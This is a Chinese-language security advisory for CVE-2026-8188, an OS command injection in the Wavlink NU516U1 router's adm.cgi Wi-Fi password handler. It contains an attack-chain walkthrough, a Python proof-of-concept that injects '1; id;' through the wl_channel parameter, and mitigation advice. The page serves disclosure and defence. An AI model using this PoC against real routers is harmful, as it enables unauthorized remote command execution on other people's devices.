IPBUF安全漏洞报告
English
CVE-2026-8188 CVSS 6.3 中危

CVE-2026-8188 Wavlink路由器OS命令注入漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-8188
漏洞类型
操作系统命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wavlink NU516U1

相关标签

OS Command InjectionRCEWavlinkIoTCWE-78

漏洞概述

Wavlink NU516U1路由器M16U1_V240425版本被发现存在操作系统命令注入漏洞。问题出在/cgi-bin/adm.cgi文件的change_wifi_password接口中。由于未对用户输入进行严格过滤,攻击者可利用wl_channel、wl_Pass或EncrypType参数注入恶意操作系统命令。该漏洞允许低权限攻击者无需用户交互即可远程发起攻击,可能导致系统被完全控制。

技术细节

该漏洞的根本原因在于Wavlink NU516U1设备的Web管理接口在处理Wi-Fi配置修改请求时,未能对关键参数进行有效的安全验证。具体而言,在/cgi-bin/adm.cgi脚本调用的change_wifi_password函数中,接收到的HTTP POST参数(如wl_channel、wl_Pass、EncrypType)未经充分过滤便直接拼接到系统Shell命令中执行。攻击者可以通过发送特制的HTTP请求,在上述参数中注入Shell元字符(如分号、管道符等),从而构造并执行任意恶意操作系统命令。由于攻击向量为网络(AV:N)且无需用户交互(UI:N),远程攻击者一旦获取低权限账户(PR:L),即可利用此漏洞在底层操作系统上下文中执行任意代码,进而窃取敏感数据、修改系统配置或造成服务拒绝,对机密性、完整性和可用性均构成威胁。

攻击链分析

STEP 1
侦察
攻击者扫描网络以识别Wavlink NU516U1设备及其管理接口。
STEP 2
认证
攻击者使用低权限凭证(如有需要)登录Web管理面板。
STEP 3
漏洞利用
攻击者向/cgi-bin/adm.cgi发送特制的POST请求,在wl_channel等参数中注入恶意Shell命令。
STEP 4
命令执行
服务器后端未过滤参数,直接将恶意指令传递给系统Shell执行。
STEP 5
控制与后渗透
攻击者获得操作系统级别的访问权限,可进一步窃取数据或植入后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_ip = "192.168.1.1" url = f"http://{target_ip}/cgi-bin/adm.cgi" # Payload construction exploiting the vulnerable parameter # Injecting a simple command to verify execution (e.g., `id`) payload_data = { "action": "change_wifi_password", "wl_channel": "1; id;", # Malicious injection "wl_Pass": "NewPass123", "EncrypType": "PSK2" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)" } try: # Sending the malicious request response = requests.post(url, data=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

影响范围

Wavlink NU516U1 M16U1_V240425

防御指南

临时缓解措施
如果无法立即升级固件,建议通过防火墙规则严格限制对设备管理界面(通常为TCP 80/443端口)的访问来源,仅允许可信的内网IP地址连接。同时,应定期审查系统日志,监控是否存在异常的命令执行记录或未授权的配置修改行为。

参考链接